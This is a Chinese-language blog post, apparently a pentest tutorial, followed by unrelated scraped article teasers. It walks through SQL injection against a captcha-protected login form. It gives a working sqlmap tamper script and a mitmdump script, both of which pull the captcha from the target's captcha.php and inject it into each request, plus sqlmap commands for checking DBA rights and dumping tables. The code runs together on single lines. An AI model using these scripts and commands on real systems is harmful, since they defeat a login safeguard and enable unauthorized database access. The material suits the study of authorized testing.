tamper脚本编写与mitmdump

news/2024/10/17 18:27:36/

tamper脚本编写与mitmdump

0x01 前提

​ 注入点在登录框处,但是目标每次都会先校验验证码,而验证码会在返回包中以json格式出现。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

0x02 编写tamper脚本

由于目标的验证码在response中回显出来了,所以我们可以利用tamper脚本去读取验证码,再利用sqlmap进行注入

tamper脚本所在kali路径中/usr/share/sqlmap/tamper

#!/usr/bin/env python"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""from lib.core.compat import xrange
from lib.core.enums import PRIORITY
import requests__priority__ = PRIORITY.LOWdef dependencies():passdef tamper(payload, **kwargs):#定义retVal变量,传递sqlmap payloadretVal = payload#如果payload 存在if payload:#将 retVal 重置为空字符串retVal = ""url = "http://xxxx/captcha.php"headers = {"Cookie": "PHPSESSID=0jo0nef461ejnvb4ou2bojrl05"}#发送get请求res = requests.get(url, headers=headers, timeout=3)#获取json格式中的验证码#eg:"pharse":"ZsD88","base64":"\/9j\/4AAQSkZ"#res.text.split('":"') 以":"分割内容将一下分成了3个元素"pharse、ZsD88","base64、\/9j\/4AAQSkZ"#res.text.split('":"')=['"pharse', 'ZsD88","base64', '\/9j\/4AAQSkZ"']#res.text.split('":"')[1]=ZsD88","base64#split('"')=['ZsD88', ',', 'base64']#split('"')[0]=ZsD88yzm = res.text.split('":"')[1].split('"')[0]#将payload的值和&captcha+yzm截取到值返回,后续再通过burp改包retVal = "&captcha=" + yzmretVal = payload + retValreturn retVal

原始包中

在这里插入图片描述

我们可以利用Burp中的Match and replace功能替换掉多余的数据(不使用正则也可以匹配到,一定要选对type)

方法2:sqlmap直接设置跳过url编码格式,只需要替换一下&captcha=变量

sqlmap -r sql.txt --is-dba --proxy=http://192.168.31.35:8081 --tamper=yanzhengma.py –skip-urlencode

在这里插入图片描述

在这里插入图片描述

点击auto-modified request 可以看到修改后的数据包

在这里插入图片描述

成功注出数据

在这里插入图片描述

0x03 利用mitmdump

​ 方法2:利用Mitmdump拦截请求数据并修改

mitmdump kali自带
<-mitmdump -s poc.py -p 8081->from mitmproxy import ctx
import requests
#request(flow)函数是mitmproxy的回调函数,当收到请求,该函数就会被调用
def request(flow):#获取flow.request收到的请求对象request = flow.request#定义info 打印日志信息info = ctx.log.info#获取request中cookies的phpsessid值并赋值给Phpsphps = request.cookies["PHPSESSID"]#获取request请求对象从开头到末尾第五位#username=xxx&password=xxx&captcha=tfaLj 也就是截取username=xxx&password=xxx&captcha=这一段tmp = request.text[0:-5]#调用获取验证码的函数,cap获取到的是return r["pharse"]也就是验证码的值cap = get_captcha(phps)#打印验证码info(f"captch {cap}")#打印请求结果request.text = f"{tmp}{cap}"info(str(request.text))
def get_captcha(phps):url = "http://192.168.31.100/captcha.php"r = requests.get(url,headers={"Cookie":f"PHPSESSID={phps}"}).json()#返回验证码的值return r["pharse"]

sqlmap发包即可

sqlmap -r sql.txt -D "db" --tables --proxy=http://192.168.31.106:8081 --threads=1 --tech=B --batch

在这里插入图片描述


http://www.ppmy.cn/news/285044.html

相关文章

BACnet多态对象详细介绍和应用场景

BACnet多态对象是一种特殊的BACnet对象&#xff0c;它可以用于表示具有相似属性和行为但不同类型的设备。这些设备可以包括不同类型的传感器、执行器、控制器和其他设备。多态对象能够将不同类型的设备组合成一个通用的对象类型&#xff0c;这样可以在BACnet系统中更方便地管理…

在Spring Boot微服务使用HashOperations操作Redis集群Hash哈希散列

记录&#xff1a;445 场景&#xff1a;在Spring Boot微服务使用RedisTemplate的HashOperations操作Redis集群的Hash哈希散列数据类型。 版本&#xff1a;JDK 1.8,Spring Boot 2.6.3,redis-6.2.5。 1.微服务中配置Redis信息 1.1在pom.xml添加依赖 pom.xml文件&#xff1a; …

led1和led2轮流闪烁c语言,一台48V/20Ah型电动自行车,开机时LED1和LED2同时闪烁不止,无法充电...

使用多年的48V/20Ah型电动自行车。将充电器接通市电220V后&#xff0c;电源红色指示灯LED1和双发光二极管LED2中的绿灯显示一段时间后自动熄灭。再开机时LED1和LED2同时闪烁不止&#xff0c;无法充电。 为便于故障分析&#xff0c;笔者根据实物绘制出的主电源开关电路原理图。如…

简单逆向18

诺莫18 原题&#xff1a; 开始&#xff1a; 放入IDA&#xff1a; int __usercall wmain<eax>(int a1<ebx>) {FILE *v1; // eaxFILE *v2; // eaxchar v4; // [esp3h] [ebp-405h]char v5; // [esp4h] [ebp-404h]char v6; // [esp5h] [ebp-403h]char v7; // [esp1…

汇编语言-课程设计2

;OVERVIEW DOG.exe 中 装载了程序 installer1, installer2, installer3, booter, newint, mainsub, set_ui, wait_choice, f1, f2, f3, f4, f5, show_str; mainsub 拥有五个功能函数 f1~f5, 两个子函数 set_ui & wait_choice, 一个通用的 show_str; installer1 将 boote…

【学习笔记】Flutter重要知识点

学习资料 4月28日-5月11日 按照这个视频边学习边敲代码 视频学习 争取两个星期把flutter和dart搞定&#xff01;&#xff01;&#xff01;&#xff01; 5月12日半夜更新学习日志 基本内容学的超不多了&#xff0c;感觉声明式编程真的好爱~~Android原生好久没搞了。接下来练几…

细说SSRF

目录 什么是SSRF形成原因容易出现SSRF的地方SSRF的危害脑图函数file_get_contents()fsockopen()curl_exec() 协议 漏洞检测常用绕过方式限制为http://www.xxx.com 域名时&#xff08;利用&#xff09;限制请求IP不为内网地址限制请求只为http协议利用[::]利用句号利用特殊地址利…

面试准备知识

信息收集 假如给你一个网站你怎么去渗透 步骤 首先看是什么类型的网站&#xff0c;大型网站可以去天眼查等查询法人股份等信息&#xff0c;小型网站可以查询使用了哪类建站系统。 whois信息查询 获取注册者邮箱姓名电话等 查询服务器旁站及子域名站点&#xff0c;因为主站一…